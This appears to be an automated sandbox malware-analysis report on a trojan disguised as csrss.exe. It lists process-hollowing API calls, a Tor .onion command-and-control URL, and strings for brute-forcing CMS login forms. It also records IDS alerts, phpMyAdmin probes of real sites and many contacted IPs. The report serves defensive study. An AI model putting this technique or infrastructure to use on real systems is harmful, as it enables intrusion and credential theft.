Opcode Fuzzy Hash: 9db0c556acab1491db248113d37050be2404d0ef9ce48b7016d2b94a45aa8b63
Instruction Fuzzy Hash: E501A271945301AADF60BF74AC06F9F3B6EAF00765F10000DF510A6A99CE788A42DA68

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exePID: 6216, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	38.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	7

Executed Functions

Function 02A00110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02A00156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02A0016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02A00255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02A00270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02A00283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 02A0029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02A002C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02A002E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02A00304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02A0032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02A00399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02A003BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 02A003E1
ResumeThread.KERNELBASE(00000000), ref: 02A003ED
ExitProcess.KERNEL32(00000000), ref: 02A00412

Memory Dump Source

Source File: 00000002.00000002.1864488136.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a00000_csrss.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 61c1513f5b4bf46196b99562dba816fc59e20163065d81e08456b919d33f2010
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: BBB1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02A00420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02A00533

Strings

saodkfnosa9uin, xrefs: 02A004DA
mfoaskdfnoa, xrefs: 02A00520, 02A00523
0, xrefs: 02A00492
d, xrefs: 02A00584

Memory Dump Source

Source File: 00000002.00000002.1864488136.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a00000_csrss.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 85ef6240119b0a7a85ce1aed29c82a2317a0ab1efb592623d12668c26a7c467b
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: E7511870D08388DAEB11CBE8D889BDDBFB2AF15708F144058D5447F2C6C7BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02A005B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02A005EC

Strings

apfHQ, xrefs: 02A005E2, 02A005E5
o, xrefs: 02A00600

Memory Dump Source

Source File: 00000002.00000002.1864488136.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a00000_csrss.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 53fbac7c3438d5f57349e7086dfe9e1dcc4da2f8e8a3cba8649fc3d2a54c0845
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: FA011E70C0425CEEDB10DBD8D5983EEBFB5AF51308F188099C4092B281D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 028007A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 028007CE
Module32First.KERNEL32(00000000,00000224), ref: 028007EE

Memory Dump Source

Source File: 00000002.00000002.1864389783.0000000002800000.00000040.00000020.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_csrss.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: be01d4a918399c8952a579c8c8483f2483dff34137024390c573a0f9b67e9ebe
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 46F0C23D1007146BD7603AB99CCCB6F76E8AF49629F100128E646D10C0DB75F8054A62

Uniqueness

Uniqueness Score: -1.00%

Function 02800465 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 028004B6

Memory Dump Source

Source File: 00000002.00000002.1864389783.0000000002800000.00000040.00000020.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_csrss.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 30761b51d0ca16642a74d735280d2ba20f602e0f6608f727ec4f43f862acb4ed
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 69113C79A40208EFDB41DF98C985E98BBF5AF08350F05C094F9489B362D775EA90DF81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exePID: 6544, Parent PID: 6216COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	27
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006C5FE7 Relevance: 4.5, APIs: 3, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 006C5FF3

Part of subcall function 006959A8: __getptd_noexit.LIBCMT ref: 006959AB
Part of subcall function 006959A8: __amsg_exit.LIBCMT ref: 006959B8

__endthreadex.LIBCMT ref: 006C6003

Part of subcall function 006C5FAA: __IsNonwritableInCurrentImage.LIBCMT ref: 006C5FBD
Part of subcall function 006C5FAA: __getptd_noexit.LIBCMT ref: 006C5FCD
Part of subcall function 006C5FAA: __freeptd.LIBCMT ref: 006C5FD7
Part of subcall function 006C5FAA: RtlExitUserThread.NTDLL(?,?,006C6008,00000000), ref: 006C5FE0
Part of subcall function 006C5FAA: __XcptFilter.LIBCMT ref: 006C6014

Memory Dump Source

Source File: 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3484645530.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.3484645530.000000000083D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.3484645530.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_csrss.jbxd

Similarity

API ID: __getptd_noexit$CurrentExitFilterImageNonwritableThreadUserXcpt__amsg_exit__endthreadex__freeptd__getptd
String ID:
API String ID: 1003287236-0
Opcode ID: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction ID: d5ace2e70bc2d3c52d8088d9385be9d0b72b17dae02ad738aec28fd26f28fbfb
Opcode Fuzzy Hash: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction Fuzzy Hash: 65E0ECB5954605DFEB58ABA0C806E7E776AEF48311F20404CF1029B6A2CA75A984DF25

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00694A78 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 006999D2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006999E7
UnhandledExceptionFilter.KERNEL32(006D9C6C), ref: 006999F2
GetCurrentProcess.KERNEL32(C0000409), ref: 00699A0E
TerminateProcess.KERNEL32(00000000), ref: 00699A15

Memory Dump Source

Source File: 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3484645530.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.3484645530.000000000083D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.3484645530.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_csrss.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5e4f057abdc76eb51c15de7ff52c5ade2ab544b117bf26ad20e1fd5a877e97fd
Instruction ID: dcde4617195335d5d3c577808627ec0208f30a12f7e2c262b8b14ad4a69ab474
Opcode Fuzzy Hash: 5e4f057abdc76eb51c15de7ff52c5ade2ab544b117bf26ad20e1fd5a877e97fd
Instruction Fuzzy Hash: F021E0B4902305DFCB91DF69FD856447BA9FB88360F10681AF509833A0EFB059828F35

Uniqueness

Uniqueness Score: -1.00%

Function 00694A87 Relevance: 6.0, APIs: 4, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___sbh_find_block.LIBCMT ref: 00694AB0
___sbh_free_block.LIBCMT ref: 00694ABF
HeapFree.KERNEL32(00000000,?,0081B8C0,0000000C,00695999,00000000,?,?,006959B0,?,006C5FF8,0081C690,0000000C,006C60AA,?,00000000), ref: 00694AEF
GetLastError.KERNEL32(?,?,006959B0,?,006C5FF8,0081C690,0000000C,006C60AA,?,00000000), ref: 00694B00

Memory Dump Source

Source File: 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3484645530.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.3484645530.000000000083D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.3484645530.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_csrss.jbxd

Similarity

API ID: ErrorFreeHeapLast___sbh_find_block___sbh_free_block
String ID:
API String ID: 2661975262-0
Opcode ID: 78909d6c4936e91804b8b1daa8b3149c3f077c8927f69aac5a87e0b9846f729e
Instruction ID: d2f168f1c234fbc1eb0db84b56c896eb6ac808ee96d716f7e41c0537d1ba3495
Opcode Fuzzy Hash: 78909d6c4936e91804b8b1daa8b3149c3f077c8927f69aac5a87e0b9846f729e
Instruction Fuzzy Hash: E501A271945301AADF60BF74AC06F9F3B6EAF00765F10000DF510A6A99CE788A42DA68

Uniqueness

Uniqueness Score: -1.00%

Source: Traffic	Snort IDS: 2047070 ET CURRENT_EVENTS Parrot TDS Check M2 34.136.104.255:443 -> 192.168.2.4:56292
Source: Traffic	Snort IDS: 2813008 ETPRO TROJAN Win32/CMSBrute/Pifagor Attempted Bruteforcing 192.168.2.4:51025 -> 139.162.169.45:80

Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onion/hb.php?n=19EE1A200E1DF5D59DA8&i=1233538
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: csrss.exe, 00000004.00000002.3484645530.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{

Source: http	HTTP: esoft.academy/phpmyadmin
Source: http	HTTP: www.2brospw.com/phpmyadmin
Source: http	HTTP: www.gatewaytoearlylearning.com/phpmyadmin
Source: http	HTTP: esoft.academy/phpmyadmin
Source: http	HTTP: www.2brospw.com/phpmyadmin
Source: http	HTTP: gatewaytoearlylearning.com/phpmyadmin
Source: http	HTTP: www.gatewaytoearlylearning.com/phpmyadmin

Source: Joe Sandbox View	IP Address: 81.169.145.157 81.169.145.157
Source: Joe Sandbox View	IP Address: 81.169.145.157 81.169.145.157

Source: global traffic	TCP traffic: 162.250.126.5 ports 22,222,3,443,4,80,21
Source: global traffic	TCP traffic: 74.220.219.189 ports 22,143,110,220,990,222,3,443,465,993,4,587,995,2222,80,21
Source: global traffic	TCP traffic: 52.101.42.6 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.42.4 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 15.236.236.160 ports 25,26,143,110,220,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 212.159.8.200 ports 25,143,110,220,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 162.241.24.104 ports 143,110,220,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 212.97.32.100 ports 25,143,110,2525,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 68.168.209.252 ports 22,990,2,222,443,80,21
Source: global traffic	TCP traffic: 81.169.145.157 ports 22,990,110,1,2,222,443,995,2222,80,21
Source: global traffic	TCP traffic: 104.247.74.107 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 191.6.210.8 ports 22,990,222,3,443,4,80,21
Source: global traffic	TCP traffic: 216.250.121.106 ports 22,990,1,2,443,995,80,21
Source: global traffic	TCP traffic: 144.76.107.16 ports 25,220,110,2525,465,587,5,995,9
Source: global traffic	TCP traffic: 117.20.63.148 ports 22,2031,2030,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 104.47.73.138 ports 25,143,110,220,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 185.135.132.105 ports 22,990,222,3,443,4,995,80,21
Source: global traffic	TCP traffic: 81.169.145.74 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 15.235.14.141 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 109.168.109.224 ports 22,990,2,222,443,80,21
Source: global traffic	TCP traffic: 52.206.191.232 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 164.52.221.51 ports 22,990,222,3,443,4,80,21
Source: global traffic	TCP traffic: 193.203.239.23 ports 143,110,220,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 185.230.63.171 ports 22,990,222,3,443,4,2222,80,21
Source: global traffic	TCP traffic: 133.130.97.143 ports 22,143,990,110,2,222,443,465,993,587,995,80,21
Source: global traffic	TCP traffic: 184.106.54.2 ports 110,143,993,5,995,9
Source: global traffic	TCP traffic: 185.154.212.10 ports 22,990,222,3,443,4,80,21
Source: global traffic	TCP traffic: 15.222.16.209 ports 143,110,1,3,465,993,4,995
Source: global traffic	TCP traffic: 162.210.96.117 ports 22,0,222,443,995,8,80,21
Source: global traffic	TCP traffic: 72.167.58.161 ports 22,25,0,143,110,220,990,443,465,993,587,995,8,80,21
Source: global traffic	TCP traffic: 108.166.43.2 ports 143,110,993,5,995,9
Source: global traffic	TCP traffic: 74.208.5.3 ports 25,26,143,110,220,2525,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 104.26.13.245 ports 22,990,1,2,222,21
Source: global traffic	TCP traffic: 142.250.27.27 ports 25,26,143,220,110,2525,465,993,3535,587,5,995,9
Source: global traffic	TCP traffic: 185.230.63.186 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 193.227.5.222 ports 22,990,2,222,443,80,21
Source: global traffic	TCP traffic: 191.6.220.39 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 104.47.75.228 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 200.55.156.172 ports 143,110,220,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 200.55.156.171 ports 143,110,1,3,993,4,995
Source: global traffic	TCP traffic: 200.55.156.170 ports 143,110,993,5,995,9
Source: global traffic	TCP traffic: 185.183.156.218 ports 22,25,26,990,1,2525,2,443,3535,80,21
Source: global traffic	TCP traffic: 3.33.130.190 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 178.32.41.233 ports 22,990,222,3,443,4,995,2222,80,21
Source: global traffic	TCP traffic: 15.236.29.106 ports 22,990,222,3,443,4,2222,80,21
Source: global traffic	TCP traffic: 52.101.40.6 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 37.157.195.144 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 52.101.40.4 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 185.230.63.107 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 52.101.40.2 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.40.1 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 104.47.74.10 ports 25,143,110,220,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 162.159.205.25 ports 25,26,143,110,220,2525,465,993,3535,587,5,995,9
Source: global traffic	TCP traffic: 173.203.187.1 ports 25,26,143,110,220,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 81.19.159.64 ports 22,220,990,1,2,222,443,993,80,21
Source: global traffic	TCP traffic: 52.101.68.36 ports 143,110,465,993,587,5,9
Source: global traffic	TCP traffic: 62.146.106.50 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.9.0 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 185.54.192.125 ports 22,990,222,3,443,4,995,80,21
Source: global traffic	TCP traffic: 52.101.9.5 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.9.2 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 136.143.191.44 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 162.159.205.17 ports 25,110,143,220,993,465,587,5,995,9
Source: global traffic	TCP traffic: 162.159.205.11 ports 25,26,143,110,220,2525,993,465,3535,587,5,995,9
Source: global traffic	TCP traffic: 52.86.6.113 ports 22,143,990,110,1,2,222,465,993,587,995,21
Source: global traffic	TCP traffic: 34.136.104.255 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 76.223.105.230 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 66.81.203.8 ports 22,25,143,990,110,220,222,3,443,465,993,4,587,995,2222,80,21
Source: global traffic	TCP traffic: 66.81.203.198 ports 22,143,110,990,2,222,465,993,587,995,21
Source: global traffic	TCP traffic: 104.47.17.138 ports 143,110,220,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 18.229.0.171 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 35.214.252.247 ports 22,143,990,1,2,222,443,993,80,21
Source: global traffic	TCP traffic: 13.234.155.54 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 199.34.228.177 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 104.47.73.10 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 52.101.42.10 ports 143,465,4,5,995,6
Source: global traffic	TCP traffic: 52.101.42.13 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 103.224.212.226 ports 22,990,143,2,222,443,995,80,21
Source: global traffic	TCP traffic: 68.178.213.244 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 3.111.240.6 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 164.90.197.105 ports 25,143,110,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 13.37.195.136 ports 143,110,1,2525,3,993,4,995
Source: global traffic	TCP traffic: 52.101.8.34 ports 110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 104.47.71.138 ports 25,465,4,587,5,6
Source: global traffic	TCP traffic: 147.182.160.18 ports 143,110,1,3,465,993,4,995
Source: global traffic	TCP traffic: 52.101.8.36 ports 110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 52.101.73.30 ports 143,110,465,993,587,5,9
Source: global traffic	TCP traffic: 66.81.203.133 ports 22,143,110,990,1,222,3,465,993,4,587,995,21
Source: global traffic	TCP traffic: 116.202.203.176 ports 22,1,2,222,443,80,21
Source: global traffic	TCP traffic: 142.251.16.27 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 89.31.143.1 ports 22,0,990,222,443,2222,8,80,21
Source: global traffic	TCP traffic: 142.250.153.14 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 202.226.37.158 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 99.81.150.60 ports 22,990,222,3,443,4,995,80,21
Source: global traffic	TCP traffic: 15.236.187.69 ports 22,990,1,2,222,21
Source: global traffic	TCP traffic: 68.178.213.243 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.73.22 ports 143,1,3,465,4,995
Source: global traffic	TCP traffic: 52.101.9.11 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 52.101.8.42 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 78.128.62.90 ports 25,143,110,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 52.101.8.44 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 216.69.141.82 ports 25,143,110,220,2525,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.8.46 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 3.234.162.143 ports 22,990,2,222,443,995,80,21
Source: global traffic	TCP traffic: 80.92.66.174 ports 25,465,4,587,5,6
Source: global traffic	TCP traffic: 52.101.9.14 ports 143,465,4,5,995,6
Source: global traffic	TCP traffic: 47.246.24.211 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 52.101.9.17 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 52.101.73.26 ports 110,465,993,587,5,9
Source: global traffic	TCP traffic: 104.21.63.202 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 142.250.153.27 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 52.101.68.0 ports 143,110,465,4,587,5,995,6
Source: global traffic	TCP traffic: 213.0.13.44 ports 22,990,1,2,443,80,21
Source: global traffic	TCP traffic: 34.208.26.152 ports 22,990,1,2,443,80,21
Source: global traffic	TCP traffic: 142.250.153.26 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 67.205.16.72 ports 22,990,1,2,443,80,21
Source: global traffic	TCP traffic: 104.47.75.164 ports 25,143,110,220,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 104.47.55.138 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 198.23.53.39 ports 25,26,143,110,220,2525,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 66.45.228.7 ports 25,143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 104.47.59.138 ports 25,143,110,220,465,993,587,5,995,9
Source: global traffic	TCP traffic: 15.197.142.173 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 44.219.53.183 ports 22,990,222,3,443,4,80,21
Source: global traffic	TCP traffic: 23.185.0.1 ports 22,990,222,3,443,4,80,21
Source: global traffic	TCP traffic: 142.93.233.86 ports 25,26,143,110,220,2525,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 209.85.202.27 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 209.85.202.26 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 198.23.53.42 ports 110,143,993,5,995,9
Source: global traffic	TCP traffic: 52.101.68.16 ports 143,110,465,587,5,995,9
Source: global traffic	TCP traffic: 52.101.68.18 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 3.94.41.167 ports 22,25,143,990,110,220,1,2,222,443,465,993,587,995,2222,80,21
Source: global traffic	TCP traffic: 52.101.68.32 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 92.62.143.50 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 146.20.161.1 ports 25,26,143,110,220,2525,465,993,587,5,995,9
Source: global traffic	TCP traffic: 54.83.33.36 ports 22,990,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 45.40.150.54 ports 22,990,222,3,443,4,2222,80,21
Source: global traffic	TCP traffic: 35.164.64.246 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 164.90.197.143 ports 143,110,1,3,465,993,4,995
Source: global traffic	TCP traffic: 120.88.73.238 ports 22,990,1,2,222,443,80,21
Source: global traffic	TCP traffic: 35.237.190.156 ports 22,990,2,222,443,995,80,21
Source: global traffic	TCP traffic: 194.47.252.115 ports 22,26,110,990,1,2525,2,222,443,3535,995,80,21
Source: global traffic	TCP traffic: 52.101.137.0 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.137.2 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.40.24 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 15.222.16.210 ports 143,110,1,3,465,993,4,995
Source: global traffic	TCP traffic: 15.222.16.211 ports 25,143,110,220,2525,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 64.233.184.26 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 75.118.8.65 ports 22,990,1,2,222,443,995,80,21
Source: global traffic	TCP traffic: 13.248.243.5 ports 22,990,1,2,222,21
Source: global traffic	TCP traffic: 147.182.130.78 ports 143,110,1,3,465,993,4,995
Source: global traffic	TCP traffic: 162.241.62.220 ports 22,25,143,110,220,990,222,3,443,465,993,4,587,995,2222,80,21
Source: global traffic	TCP traffic: 104.26.12.245 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 212.159.9.200 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 3.33.152.147 ports 22,990,1,2,222,21
